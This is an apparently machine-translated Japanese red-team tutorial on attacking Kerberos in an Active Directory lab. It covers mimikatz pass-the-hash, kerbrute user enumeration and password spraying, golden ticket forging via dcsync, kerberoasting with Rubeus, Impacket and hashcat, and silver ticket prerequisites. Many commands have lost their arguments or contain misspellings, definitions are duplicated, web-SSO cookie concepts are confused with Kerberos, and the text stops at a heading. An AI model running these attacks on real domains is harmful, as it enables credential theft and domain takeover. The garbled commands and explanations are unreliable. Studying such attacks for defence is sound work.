毅种循环

環境#

現在の環境には 2 台のマシンがあります。
1 台は Windows2008 で、IP は 192.168.1.3、ドメイン redream のメンバーです。
..........................................
‍
もう 1 台は Windows2016 で、ドメインコントローラーです。IP は 192.168.1.2 です。

‍

‍

kerberos プロトコル#

Kerberos プロトコルは、コンピュータネットワークの認証プロトコルであり、安全でないネットワーク上で個人通信の認証を安全な手段で行うために使用されます。その設計目標は、鍵システムを通じてクライアントとサーバーアプリケーションに強力な認証サービスを提供することです。このプロトコルの認証プロセスは、ホストオペレーティングシステムの認証に依存せず、ホストアドレスに基づく信頼を必要とせず、ネットワーク上のすべてのホストの物理的な安全を要求せず、ネットワーク上で送信されるデータパケットが任意に読み取られ、変更され、挿入される可能性があると仮定しています。このような状況下で、Kerberos は信頼できる第三者の認証サービスとして、従来の暗号技術（例えば、共有鍵）を使用して認証サービスを実行します。Kerberos プロトコルは、内部ネットワークドメインの侵入分野において重要であり、シルバーチケット、ゴールドチケット、ドメインコントローラーへの攻撃などはすべて Kerberos プロトコルに依存しています。
あなたが後の認証原理の説明をより簡単に理解できるようにするために、以下のいくつかの重要な役割を理解する必要があります。

‍

kerberos の概念名詞解説#

‍
(1) クライアント：サービスにアクセスするクライアント (2) サーバー：サービスを提供するサーバー (3) KDC（鍵配布センター）: 鍵配布センター (4) KDC は 2 つの部分に分かれています：認証サービスとチケット授与サービス 認証サービス（AS）: クライアントの身元を確認する役割を持ち、確認が取れた後、AS はクライアントに TGT チケット（チケット授与チケット）を提供します。 チケット授与クッキー（TGC）: ユーザーの認証情報を保存するクッキーで、ブラウザと CAS サーバー間の通信時に使用され、CAS サーバーがユーザーの身元を確認するための証明書です。TGT は TGC 値とこのクッキー値に対応するユーザー情報をカプセル化しています。 チケット授与チケット（TGT）: TGT オブジェクトの ID は TGC の値であり、サーバー側で TGC を使用して TGT を照会します。 チケット授与サービス（TGS）: TGS の役割は、AS からクライアントに送信された TGT を使用して、サーバー側の ST（サーバーチケット）をクライアントに提供することです。 サーバーチケット（ST）: ST サービスチケットで、TGS サービスによって発行されます。 (5) アクティブディレクトリ（AD）: アクティブディレクトリ (6) ドメインコントローラー（DC）: ドメインコントローラー (7) チケット授与クッキー（TGC）: ユーザーの認証情報を保存するクッキーで、ブラウザと CAS サーバー間の通信時に使用され、CAS サーバーがユーザーの身元を確認するための証明書です。TGT は TGC 値とこのクッキー値に対応するユーザー情報をカプセル化しています。 (8) チケット授与チケット（TGT）: TGT オブジェクトの ID は TGC の値であり、サーバー側で TGC を使用して TGT を照会します。
例を挙げると、whoami が bunny と通信する必要がある場合、whoami は bunny に自分が whoami であることを証明する必要があります。直接的な方法は、whoami が二人の間の秘密を使用して平文を暗号化し、暗号文を生成し、暗号文と平文を一緒に bunny に送信することです。bunny は秘密を使用して暗号文を復号し、平文を取得し、平文と平文を比較します。一致すれば、相手が whoami であることが証明されます。
しかし、ネットワーク上では、暗号文と平文が盗まれる可能性が高く、時間が十分にあれば、必ず秘密を解読できます。したがって、長期的に有効な秘密を使用することはできず、短期的な一時的な秘密に変更する必要があります。この一時的な秘密は、信頼できる第三者機関、すなわち KDC（鍵配布センター）によって提供される必要があります。
Kerberos 認証のプロセスは以下のように比喩的に表現できます：
パンデミックの間、小明は重要な荷物を受け取るために、荷物が海外からのものであるため、厳格な登録が必要です：（1）荷物を受け取るとき、合法市民であることを証明するために、小明はまず身分証明書をスタッフに渡します。（2）配送センターの認証システムは、認証を通過した後、小明に認証通過証明書を渡します。（3）小明は認証通過証明書を持って、荷物を受け取るための番号札を待ちます。（4）チケットオフィスは番号札を渡します。（5）小明は番号札を持って荷物を受け取りに行きます。（6）荷物を受け取るとき、小明は自分の認証資料を配送センターのスタッフに渡し、スタッフは配送会社のデータ管理センターにメッセージを送り、小明が荷物を受け取る権利があるかどうかを確認します。（7）データ管理センターは小明の荷物の追跡番号や身分情報を送信します。（8）スタッフはデータ管理センターから送られた情報と小明が提供した資料を比較し、小明が良い市民であり、重要な荷物があることを確認し、小明を倉庫の金庫に連れて行き、老魔杖が入った荷物を渡します。
Kerberos プロトコルの認証プロセスでは、AS_REQ＆AS_REP と TGS_REQ＆TGS_REP という 2 つの基本的な認証モジュールが使用され、認証プロセス中に使用される可能性のある S4U と PAC という 2 つの認証モジュールが使用されます。

kerberos 認証の問題#

上記のように、kerberos プロトコルの実装には 3 者の参加が必要です。
‍
1. クライアント サービスにアクセスするクライアント 2. サーバー サービスを提供するサーバー 3.KDC（鍵配布センター） 鍵配布センター KDC サービスはデフォルトでドメインのドメインコントローラーにインストールされているため、AD と KDC はドメインコントローラーであると直接理解できます。KDC サービスフレームワークには、ドメイン作成時にシステムによって自動的に作成される KRBTGT アカウントが含まれています。
‍

kerberos 認証プロトコルの原理フロー#

Kerberos 認証プロセスは以下の図のようになります。

‍
次に、詳細な認証手順について説明します。大まかに 3 つの段階に分かれます：

• AS_REQ & AS_REP
• TGS_REQ & TGS_REP
• AP-REQ & AP-REP

‍
この中で、KDC には AS 認証サービスと TGS 認証サービスがあります。

1. クライアントは KDC の AS 認証サービスに TGT チケットを要求します。ここでのプロセスは AS_REQ です。
2. 認証が通過した後、クライアントに TGT を返します。クライアントは KDC が発行した TGT（チケット授与チケット）を取得します。ここでのプロセスは AS_REP です。
3. クライアントは TGT チケットを持って DC にアクセスするためにサーバーにリクエストを送ります。TGS はクライアントメッセージ内の TGT チケットを使用して ST（サーバーチケット）を要求します。ここでのプロセスは TGS_REQ です。
4. クライアントが TGS 認証サービスを通過した後、TGS は ST サービスチケットをクライアントに発行します。ここでのプロセスは TGS_REP です。
5. クライアントは ST チケットを取得した後、サーバーにサービスを要求します。ここでのプロセスは AP-REQ です。
6. サーバーは PAC を取得し、KDC にクライアントがリソースにアクセスする権限があるかどうかを尋ねます。
7. KDC はクライアントの権限情報をサーバーに送信します。
8. サーバーは KDC から返された権限情報を比較し、クライアントがそのサービスにアクセスする権限があるかどうかを判断し、その結果をクライアントに返します。ここでのプロセスは AP_REP です。

注：（6）（7）の 2 つのステップは必ずしも発生するわけではなく、ターゲットホストを KDC PAC 検証のために構成する必要があります。

‍
ドメイン内の各ユーザーのチケットは krbtgt のパスワードハッシュを使用して計算生成されるため、krbtgt のパスワードハッシュを取得すれば、任意のチケットを偽造でき、チケットを使用してドメインコントローラーにログインできます。krbtgt ユーザーのハッシュから生成されたチケットはゴールドチケットと呼ばれ、この攻撃方法はチケット転送攻撃と呼ばれます。
‍

AS_REQ & AS_REP 分析#

‍
AS-REQ データパケットの分析
AS-REQ：ドメインユーザーがドメイン内のサービスにアクセスしようとする際、ユーザー名とパスワードを入力します。本機の Kerberos サービスは KDC の AS 認証サービスに AS-REQ 認証リクエストを送信します。このリクエストパケットには、リクエストユーザー名、クライアントホスト名、暗号化タイプ、Autherticator（ユーザー NTLM ハッシュで暗号化されたタイムスタンプ）およびいくつかの情報が含まれています。
クライアントが KDC に AS_REQ リクエストを開始する際の証明書は、ユーザーのハッシュで暗号化されたタイムスタンプです。リクエスト証明書は PA_DATA に格納されます。
ここで直接パケットキャプチャを見て、ドメイン内のマシン user1 がユーザー test を使用してログインします。
‍

1.AS-REQ#

‍
AS はユーザー名を取得した後、対応する ntlm 値を取得し、暗号化の方法でデータ情報を暗号化し、タイムスタンプを検証し、ランダムな文字列セッションキーを生成します。ユーザーの ntlm 値を使用してセッションキーを暗号化し、krbtgt ユーザーの ntlm でセッションキーとクライアント情報を一緒に返します。
Send=user_NTML_Hash(Session Key)+krbtgt_NTML_Hash(Session Key+client_info1)[TGT]
AS-REQ には 2 種類のパケットがあります。
1 つは pA-ENC-TIMESTAMP フィールドが存在しないもので、もう 1 つは前にパスワードフィールドが存在するものです。

‍

2.AS-REQ の異なるパケット#

‍

ユーザー名とパスワードが正しいパケット#

AS-REP：クライアントが AS_REQ を送信し、リクエスト証明書はユーザーのハッシュで暗号化されたタイムスタンプです。リクエスト証明書は PA_DATA に格納されます。 KDC の AS 認証サービスが受信した後、AS サーバーにはユーザーのハッシュがあり、ユーザーのハッシュを使用して復号し、タイムスタンプを取得します。 復号に成功し、タイムスタンプが 5 分以内であれば、事前認証が通過します。次に、AS 認証サービスはクライアントに応答パケットを送信し、応答パケットにはkrbtgt ユーザーの NTML ハッシュで暗号化された TGT チケットとユーザー NTML ハッシュで暗号化されたログインセッションキーおよびその他の情報が含まれます。
チケット内の enc-part は krbtgt のパスワードハッシュで暗号化生成されています。krbtgt のハッシュを持っていれば、チケットを自作し、ゴールドチケット攻撃を開始できます。ログインセッションキーはユーザー NTML ハッシュで暗号化され、クライアントと KDC の次の段階間の通信の安全性を確保するために使用され、次の段階の認証キーとして機能します。
‍
この段階では、クライアントと KDC 間のやり取りは AS 認証サービスに関与し、主に TGT 認証チケットとログインセッションキーを取得するためのものです。この段階を経て、クライアントは自身のパスワードの NTML ハッシュを使用してログインセッションキーを復号し、元のログインセッションキーを取得します。その後、ローカルに TGT チケットと元のログインセッションキーをキャッシュします。
‍

ユーザー名が正しくないパケット#

‍

ユーザー名が正しいパケット#

‍
‍

パスワードが正しくないパケット#

‍

AS-REQ プロセスの攻撃面#

上記のパケットキャプチャ分析から以下のことがわかります：
1.HASH 転送
2. ドメイン内ユーザー列挙
3. パスワードスプレー

HASH 転送攻撃方法#

AS-REQ 段階では、ユーザーのパスワードハッシュで暗号化された Authenticator が使用されるため、ハッシュ転送が発生します。

mimikatz によるハッシュ転送

ここで mimikatz はハッシュを取得し、ログにエクスポートします。コマンドは以下の通りです。
mimikatz log privilege::debug sekurlsa::ekeys
‍

‍
administrator の ntlm ハッシュを取得します。
‍
privilege::debug sekurlsa::logonpasswords
‍

‍

実行転送

‍
sekurlsa::pth /user /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

‍

KB2871997 パッチの転送方法

KB2871997 パッチをインストールした後、管理者アカウントのみで pass hash を使用できます。

PTK（pass the key）

aes-key を取得します：
privilege::debug sekurlsa::ekeys

aes-key を注入します：
sekurlsa::pth /user /domain.com /aes256

‍
‍

ドメイン内ユーザー列挙#

AS-REQ の cname 値は、ユーザーが存在しない場合、エラーメッセージを返すため、この攻撃方法が発生します。

攻撃方法

kerbrute ツールを使用します：
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提として DC は kerberos 88 ポートを開放する必要があります。

以下のコマンドを使用します。
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
user.txt はユーザー名の辞書です。

成功してユーザー名が暴露されました。

原理：

kerbrute によるエラー列挙の原理は、kerberos には 3 種類のエラーコードがあるためです：
KDC_ERR_PREAUTH_REQUIRED - 追加の事前認証が必要（有効）
KDC_ERR_CLIENT_REVOKED - クライアントの証明書が取り消された（無効）
KDC_ERR_C_PRINCIPAL_UNKNOWN-Kerberos データベースにクライアントが見つからない（存在しない）
DC でパケットキャプチャを行うと、4 つの UNKNOWN、1 つの REQUIRED が確認でき、ユーザー名が存在することを証明します。

‍
‍

パスワードスプレー#

また、ユーザー名が存在し、パスワードが正しい場合と間違っている場合、返されるパケットも異なるため、ユーザー名とパスワードのブルートフォース攻撃が可能です。このすべてのユーザーに対する自動パスワード推測は、アカウントがロックされるのを避けるために行われることが多いです。なぜなら、同じユーザーに対する連続したパスワード推測はアカウントをロックする原因となるからです。したがって、すべてのユーザーに対して特定のパスワードログイン試行を同時に実行することで、破解の確率を高め、アカウントがロックされる確率を排除します。
以下のコマンドを使用します。
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

‍

原理：#

パスワードにも 3 種類のエラーコードがあります。
KDC_ERR_PREAUTH_REQUIRED - 追加の事前認証が必要（有効）
KDC_ERR_CLIENT_REVOKED - クライアントの証明書が取り消された（無効）
KDC_ERR_C_PRINCIPAL_UNKNOWN-Kerberos データベースにクライアントが見つからない（存在しない）
同様に DC でパケットキャプチャを行うと、4 つの UNKNOWN、1 つの REQUIRED が確認できます。


‍
‍
‍

AS-REP データパケット#

AS-REP：クライアントが AS_REQ を送信し、リクエスト証明書はユーザーのハッシュで暗号化されたタイムスタンプです。リクエスト証明書は PA_DATA に格納されます。 KDC の AS 認証サービスが受信した後、AS サーバーにはユーザーのハッシュがあり、ユーザーのハッシュを使用して復号し、タイムスタンプを取得します。 復号に成功し、タイムスタンプが 5 分以内であれば、事前認証が通過します。次に、AS 認証サービスはクライアントに応答パケットを送信し、応答パケットにはkrbtgt ユーザーの NTML ハッシュで暗号化された TGT チケットとユーザー NTML ハッシュで暗号化されたログインセッションキーおよびその他の情報が含まれます。

チケット内の enc-part は krbtgt のパスワードハッシュで暗号化生成されています。krbtgt のハッシュを持っていれば、チケットを自作し、ゴールドチケット攻撃を開始できます。
ログインセッションキーはユーザー NTML ハッシュで暗号化され、クライアントと KDC の次の段階間の通信の安全性を確保するために使用され、次の段階の認証キーとして機能します。
enc-part 内で最も重要なフィールドはログインセッションキーであり、次の段階の認証キーとして機能します。
AS-REP の最も核心的な要素はログインセッションキーと暗号化されたチケットです。通常、ツールで生成された証明書は.ccache および.kirbi の拡張子を持ち、mimikatz、kekeo、rubeus で生成された証明書は.kirbi の拡張子を持ち、impacket で生成された証明書の拡張子は.ccache です。2 種類のチケットが主に含むのはログインセッションキーと暗号化されたチケットであり、したがって相互に変換可能です。
‍

AS-REP の攻撃面#

ゴールドチケット#

AS-REP 段階では、返される TGT 認証チケットは krbtgt ユーザーのパスワードハッシュで暗号化されているため、krbtgt のハッシュを持っていれば、自分で TGT 認証チケットを作成できます。これがゴールドチケット攻撃を引き起こします。
ゴールドチケットを偽造する条件：
私たちが証明書を偽造するには、以下の情報が必要です：

• ドメイン名
• ドメインの SID 値
• ドメインの KRBTGT アカウントのハッシュ
• 偽造するドメイン管理者のユーザー名

‍

ゴールドチケット攻撃の実践#

ドメイン情報の収集

netconfig workstation

‍
ドメインが redtem.com で、ユーザー名が YG1 であることがわかります。
ドメインコントローラーの IP を取得するのも簡単で、ping を実行するか、nltest/dsgetdc: ドメイン名を使用します。
nltest/dsgetdc.com

ドメインコントローラーの IP は 192.168.1.2 です。

ハッシュのエクスポート

privilege::debug lsadump::dcsync /domain.com /all /csv
管理権限を使用して mimikatz.exe でユーザーの krbtgt のハッシュをエクスポートします。

fb2227f9e9e6c9ad490eb1c2fa6a8625

Krbtgt の SID 情報の収集

lsadump::dcsync /domain.com /user または wmic useraccount get name,sid

S-1-5-21-767623950-3225260823-3670188588
fb2227f9e9e6c9ad490ebic2fa6a8625
SID とハッシュを取得した後、チケットを偽造できます。偽造する前に、キャッシュされたチケットがあるかどうかを確認します。
klist / チケットを表示

klist purge / チケットをクリア または mimitakzt kerberos::purge

‍

mimikatz を使用してゴールドチケットを生成

mimikatz.exe "kerberos::golden /user /domain.com /sid /krbtgt /ticket.kirbi" exit /admin：偽造するユーザー名（任意） /domain：ドメイン名 /sid：sid 値、最後の値を削除することに注意 /krbtgt：krbtgt のハッシュ値 /ticket：生成されたチケット名
または
kerberos::golden /user /domain.com /sid /krbtgt /ptt #チケットを生成してインポート

‍
チケットを取得した後、ドメインユーザーを使用してチケットが正常に使用できるかどうかをテストします。
‍

インポートされたチケットの確認

kerberos::purge kerberos::ptt ticket.kirbi

‍

DC マシンの C ドライブディレクトリを照会

dir \dc.redteam.com\c$ dir \ コンピュータ名。ドメイン名 \c$

‍
DC の火绒が IPC をブロックしたため、アクセスに失敗しましたが、無効にすると正常にアクセスでき、これでゴールドチケットの利用に成功しました。
‍

TGS_REQ&TGS_REP 分析#

クライアントと TGS 間の認証には TGS_REQ&TGS_REP モジュールが使用されます。
‍
‍
クライアントが TGT とログインセッションキーを取得した後、次の認証のやり取りは KDC 内の TGS 認証サービス に関与し、主な目的は ST サービスチケット を取得することです。クライアントが特定のサーバー内のサービスにアクセスする必要がある場合、「チケット」 --ST サービスチケットが必要です。
この段階で、Microsoft は 2 つの拡張機能 S4U2SELF と S4U2PROXY を導入しました。

TGS-REQ データパケット分析#

このデータパケットの主な内容は、クライアント情報、Authenticator（ログインセッションキーで暗号化されたタイムスタンプ）、TGT 認証チケット（padata 下の ap-req 下のチケット）およびアクセスするサービス名などです。

padata 部分：

padata には非常に重要な部分があり、AP-REQ と呼ばれ、これは TGS-REQ に必ず含まれるデータです。 この部分は AS-REP で取得した TGT チケットを持ち運びます。 KDC は TGT チケットを検証し、チケットが正しければ ST チケットを返します。

‍

TGS-REQ リクエストパケット内の authenticator は AS-REP 応答パケットから返されたログインセッションキーで暗号化されたタイムスタンプです。
req-body 内

padding:0 kdc-optionsとのオプション設定の合意 realm: ドメイン名 sname: ここはリクエストするサービス till: 有効期限 rebeus と kekeo は 20370913024805Z で、特徴値検証に使用できます nonce: ランダム生成数 kekeo/mimikatz の nonce は 12381973、rubeus の nonce は 1818848256 で、特徴値検証に使用できます etype: 暗号化タイプを使用します。

TGS-REP データパケット分析#

TGS-REP：TGS がリクエストを受信した後、クライアントが要求したサービスが存在するかどうかを確認します。サービスが存在する場合、 krbtgt ユーザーの NTML ハッシュで TGT を復号し、ログインセッションキーを取得します。次に、 ログインセッションキーで Authenticator を復号します。

‍
この一連の復号が成功すれば、相手の身元を確認し、タイムスタンプが範囲内にあるかどうかを検証し、TG 内のタイムスタンプが期限切れでないか、元のアドレスが TGT に保存されたアドレスと同じかどうかを確認します。
認証が完了すると、TGS はST チケット（クライアント情報と元のサーバーセッションキーを含む、全体の ST サービスチケットはそのサービスの NTML ハッシュで暗号化され、さらに AS-REP から返されたログインセッションキーで暗号化されたサーバーセッションキーを含む（最外層の enc-part 部分））を生成します。そして、そのクライアントに ST サービスチケットを生成します。これら 2 つは応答パケット内でクライアントに送信されます。

ST サービスチケットは主に 2 つの側面の内容を含みます：クライアントユーザー情報と元のサービスセッションキー、全体の ST サービスチケットはそのサービスの NTLM ハッシュで暗号化されます。最終的にサービスセッションキーと ST サービスチケットがクライアントに送信されます。
PS: このステップでは、ユーザーがサービスにアクセスする権限があるかどうかに関係なく、TGT が正しく復号されれば、ST サービスチケットが返されます。任意のユーザーがハッシュが正しければ、ドメイン内の任意のサービスのチケットを要求できます。これが kerberoasting が利用できる理由です。
enc-part：この部分はリクエストサービスのパスワードハッシュで暗号化されています。したがって、サービスのパスワードハッシュを持っていれば、自分で ST サービスチケットを作成でき、これがシルバーチケット攻撃を引き起こします。このチケットはリクエストサービスのパスワードハッシュで暗号化されているため、ST サービスチケットを取得した場合、enc_part をブルートフォース攻撃してサービスのパスワードハッシュを取得しようとすることができます。これが kerberoast 攻撃を引き起こします。

TGS-REP の攻撃面#

1.Kerberoast 攻撃

概念：攻撃者がターゲットサービスへのアクセス権を取得するために、Kerberos サービスチケットを解読し、それらを再作成しようとするプロセスです。これはレッドチームの中で非常に一般的な攻撃手法であり、ターゲットサービスとのいかなる相互作用も必要とせず、合法的なアクティブディレクトリアクセスを使用して、オフラインで解読可能なサービスチケットを要求し、エクスポートすることができます。最終的に平文パスワードを取得するために行われます。このような状況が発生するのは、サービスチケットがサービスアカウントのハッシュ（NTLM）で暗号化されているため、ドメインユーザーはサービスを実行しているシステムにシェルを持ち込むことなく、サービスからハッシュをダンプできます。
‍
攻撃者は通常、弱いパスワードが設定されている可能性が高いチケットを選択して解読を試みます。攻撃者がチケットを解読することに成功すると、サービスへのアクセス権を取得するだけでなく、サービスが高権限で実行されるように設定されている場合、ドメイン全体が攻撃者によって制圧される可能性があります。これらのチケットは、以下のようなさまざまな要因を考慮して識別できます：
SPNs がドメインユーザーアカウントにバインドされている
最後のパスワード設定（Password last set）
パスワードの有効期限
最後のログイン（Last logon）
具体的には、Kerberoast 攻撃は以下の 5 つのステップを含みます：
サービス主体名（SPN）の発見
サービスチケットの要求
サービスチケットのエクスポート
サービスチケットの解読
サービスチケットの再作成＆RAM 注入
‍
原理：

• 関連するサービスの SPN を知っている場合、SPN を使用して ST チケットを要求できます。Kerberos プロトコルの第 4 ステップでは、ユーザーはサーバーインスタンスの NTLM ハッシュで生成された ST チケットを受け取ります。暗号化アルゴリズムは RC4-HMAC-MD5 であり、ハッシュを総当たりで試み、暗号化プロセスをシミュレートして解読を行います（シルバーチケットとの違いに注意）。
• 任意のドメインユーザーは、AD からサービスアカウントの資格情報を合法的に抽出でき、ターゲットサービスとのいかなる相互作用も必要とせず、大部分の操作はオフラインで完了し、警告をトリガーしません。
• サービスアカウントのパスワードが有効期限を設定されていない、またはドメインの通常ユーザーのパスワードと同じである、さらにアカウントの権限が高すぎるなどの問題があります。
• ドメイン内で Read servicePrincipalName および Write serverPrincipalName の権限を持つドメインユーザーは、SPN を登録する権利を持っています。

プロセス：

1. 価値のある SPN を見つける（満たすべき条件：その SPN がドメインユーザーアカウントに登録されており、ドメインユーザーアカウントの権限が高いこと）
2. TGS を要求
3. ST をエクスポート
4. ブルートフォース攻撃
5. サービスチケットの再作成
6. 権限の維持

前述の SPN を理解していなかったため、SPN を理解した後に実践に戻ります。

SPN#

概念：
SPN は、Service Principal Names の略で、ドメイン内のサービスの一意の識別子です。各 Kerberos サービスには必ず 1 つの SPN が必要であり、サービスがドメインに参加する際に自動的に SPN が登録されます。 SPN が登録されていないか、登録に失敗した場合（名前が一意でない場合）、Windows のセキュリティレイヤーは SPN に関連付けられたアカウントを特定できず、Kerberos 認証を使用できません。
形式：
SPN の形式は：/:/であり、service class と host は必須のパラメータです。

• service class はサービスタイプ名であり、「/」以外の任意の名前を使用できます（SPN はそれを区切り文字として使用するため）、一意の名前であることを保証する必要がありますが、一般的には「www」や「ldap」などの一般的な名前を使用することが推奨されます。
• host はサービスを実行しているホスト名であり、DNS 名（例：os.hacker.com）または NetBIOS 名（例：os）を使用できますが、NetBIOS 名は林内で一意でない可能性があるため、SPN 登録に失敗する可能性があります。
• host はオプションのパラメータであり、同一サービスが同一 host 上で実行される場合に使用されます。サービスがデフォルトポートでのみ実行される場合（例：80）、省略できます。
• service name はサービスインスタンス名であり、あまり重要ではありません。Microsoft には次のような例があります：MyDBService/host1/CN=hrdb,OU=mktg,DC=example,DC=com

SPN の命名例：MySQLSvc/os.hacker.com:3306 または MySQLSvc/hacker など。
分類：

• サービスの権限が Local System または Network Service の場合、SPN は自動的にマシンアカウントに登録されます。
• サービスの権限がドメインユーザーの場合、SPN は手動でドメインユーザーアカウントに登録する必要があります。

検証：
Kerberos 認証の第 3 ステップでは、クライアントが TGS に TGT を送信する際に、アクセスするサービスの SPN を送信します。第 4 ステップでは、TGS が対応する SPN のサービスレコードを照会し、サービスを見つけた後、TGT を検証し、最終的に TGS が対応する SPN サービスの ST チケットを生成します。
‍

SPN の照会#

ドメインコントローラーに LDAP クエリを発行します。これは正常な kerberos チケットの動作の一部であるため、SPN の照会操作は検出されにくいです。

SetSPN の使用#

Win7 および Windows Server2008 に付属のツール
現在のドメイン内のすべての SPN を表示します：
‍
setspn.exe -q /

redteam.com ドメイン内のすべての SPN を表示します：
setspn.exe -T redteam.com -q /

‍

Kerberoasting 攻撃を実現する前提#

• kerberos プロトコル認証プロセスで返される tgs_reply に対して、暗号化アルゴリズムが既知であれば、パスワードを総当たりで試みることができます。（サービスパスワードは一般的に弱いパスワードである）
• Windows システムは SPN クエリを通じてサービスとサービスインスタンスアカウントの対応関係を取得します。
• ドメイン内のホストはすべて SPN を照会できます。
• ドメイン内の任意のユーザーは、ドメイン内の任意のサービスに TGS を要求できます。

‍

ST チケットの要求#

前述の価値のある SPN サービスを見つけることについて言及しましたが、価値のある SPN とは何でしょうか。
リモート接続が可能で、高権限 です。コンピュータドメインアカウントはリモート接続できないため、ターゲットは通常ドメインユーザーです。
Rubeus ツールを使用します。
https://github.com/GhostPack/Rubeus
これは Kerberos 専用のツールキットです。

.net 環境が必要です Rubeus.exe kerberoast#

ハッシュを hash.txt ファイルに保存し、hashcat のディレクトリに置きます。コマンドを使用します。
‍
hashcat64.exe -m 13100 hash.txt pass.txt

Powershell コマンドを使用して要求

Microsoft が提供する KerberosRequestorSecurityToken クラスを使用して Kerberos リクエストを発行し、指定された SPN の ST チケットを要求します。Kerberos プロトコルで要求されたチケットはメモリに保存され、klist コマンドを使用して現在のセッションに保存された kerberos チケットを確認できます。
#サービスチケットを要求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN 名" #New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WIN-7.bean.testlab:1433" #サービスチケットをリスト klist

mimikatz を使用して要求

指定された SPN の ST チケットを要求します。
#サービスチケットを要求 kerberos::ask /target/WIN-7.bean.testlab:1433 #サービスチケットをリスト kerberos::list #すべてのチケットをクリア kerberos::purge

Impacket 内の GetUserSPNs を使用して要求

ドメインアカウントのパスワードを提供する必要があります。このスクリプトは、hashcat 形式のサービスチケットを直接出力し、hashcat を使用して解読できます。
#GetUserSPNs.exe -request -dc-ip x.x.x.x ドメイン名 / ドメインユーザー：パスワード GetUserSPNs.exe -request -dc-ip 172.16.1.1 bean.testlab/test > r.txt

サービスチケットのエクスポート#

チケットリストを確認するためにいくつかのコマンドを使用できます：
#cmd klist #mimikatz mimikatz.exe "kerberos::list" #MSF load kiwi kerberos_ticket_list または load kiwi kiwi_cmd kerberos::lists
エクスポート：
#mimikatz エクスポートされた拡張子は.kirbi です。 mimikatz.exe "kerberos::list /export" "exit" #Empire 下の Invoke-Kerberos.ps1 powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat}"

ブルートフォース攻撃#

tgsrepcrack.py
kerberoast ツールキット内の tgsrepcrack.py は、mimikatz でエクスポートされた.kirbi ファイルを直接解読することができます。
python tgsrepcrack.py pass.txt xx.kirbi

‍
tgscrack
ダウンロードリンク：tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

‍
hashcat
前述のいくつかのハッシュエクスポート方法は、すべて hashcat を使用して解読できます。
hashcat.exe -m 13100 hash.txt pass.txt

Image

サービスチケットの再作成＆RAM 注入

ST チケットはサービスパスワードの NTLM ハッシュで署名されています。チケットハッシュが解読されている場合、Kerberoast python スクリプトを使用してチケットを再作成できます。これにより、サービスにアクセスする際に任意のドメインユーザーまたは偽のアカウントをシミュレートすることが可能になります。さらに、権限昇格も可能で、ユーザーをドメイン管理者などの高権限グループに追加できます。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
以下の Mimikatz コマンドを使用して新しいチケットをメモリに再注入し、Kerberos プロトコルを介してターゲットサービスに対して認証を実行します。
kerberos::ptt PENTESTLAB.kirbi

参考

ドメイン侵入 - SPN
‍

シルバーチケット#

TGS-REP 段階では、TGS_REP 内のチケットの enc-part はサービスのハッシュで暗号化されています。サービスのハッシュを持っていれば、任意のユーザーの TGS チケットを発行することができ、このチケットはシルバーチケットと呼ばれます。ゴールドチケットと比較して、シルバーチケットはアクセスするサービスのハッシュを使用し、krbtgt のハッシュではありません。生成されるのは TGS チケットであり、ドメインコントローラーとやり取りする必要がないため、ドメインコントローラーを回避でき、ログをほとんど残しません。一方、ゴールドチケットは KDC によって TGT を発行され、偽造された TGT が生成されてから 20 分以内に、TGS はその TGT の真偽を検証しません。ゴールドチケットが偽造された TGT であるとすれば、シルバーチケットは偽造された ST です。したがって、サーバーユーザーのハッシュを知っていれば、ST を偽造でき、KDC を経由せずに済みますが、シルバーチケットは特定のサービスにのみアクセスできます。ただし、偽造されたシルバーチケットには有効な KDC 署名の PAC が含まれていないことに注意が必要です。ターゲットホストが KDC PAC 署名の検証を行うように構成されている場合、シルバーチケットは機能しません。

シルバーチケットの特徴#

1. シルバーチケットは有効なチケット授与サービス（TGS）Kerberos チケットであり、Kerberos 認証サービスが実行されている各サーバーはサービス主体名のサービスアカウントを暗号化および署名します。
2. ゴールドチケットは TGT を偽造し、任意の Kerberos サービスへのアクセスを取得できるのに対し、シルバーチケットは TGS を偽造します。これは、シルバーチケットが特定のサーバー上の任意のサービスに制限されることを意味します。
3. ほとんどのサービスは PAC を検証しないため（PAC 検証のために PAC チェックサムをドメインコントローラーに送信する）、サービスアカウントパスワードハッシュから生成された有効な TGS は PAC を完全に偽造できます。
4. 攻撃者はサービスアカウントのパスワードハッシュ値が必要です。
5.TGS は偽造されているため、TGT との通信がなく、DC からの検証が行われません。
6. すべてのイベントログはターゲットサーバー上に存在します。

シルバーチケットとゴールドチケットの違い

• 取得できる権限が異なる
  ゴールドチケット：偽造された TGT で、任意の Kerberos アクセス権を取得できます。
  シルバーチケット：偽造された ST で、特定のサービスにのみアクセスできます。例えば CIFS。
• 認証プロセスが異なる
  ゴールドチケット：KDC とやり取りしますが、AS とは異なります。
  シルバーチケット：KDC とは異なり、直接サーバーにアクセスします。
• 暗号化方式が異なる
  ゴールドチケット：krbtgt NTLM ハッシュで暗号化されます。
  シルバーチケット：サービスアカウント NTLM ハッシュで暗号化されます。

シルバーチケットの実践

私たちが証明書を偽造するには、以下の情報が必要です。

• 偽造するドメインユーザー（任意のユーザーまたは存在しないユーザー、ここでは通常ドメイン管理者アカウントを記入します）
• ドメイン名
• ドメインの SID 値（ドメインメンバー SID 値の最後の部分を削除したもの）
• ターゲットサービスの FQDN（FQDN：完全修飾ドメイン名、ホスト名とドメイン名の名前を含む。例：dc.bean.testlab）
• 利用可能なサービス
• ドメインサービスアカウント NTLM ハッシュ
• KDC のみが PAC を作成および表示できます。

シルバーチケットのサービスリスト#

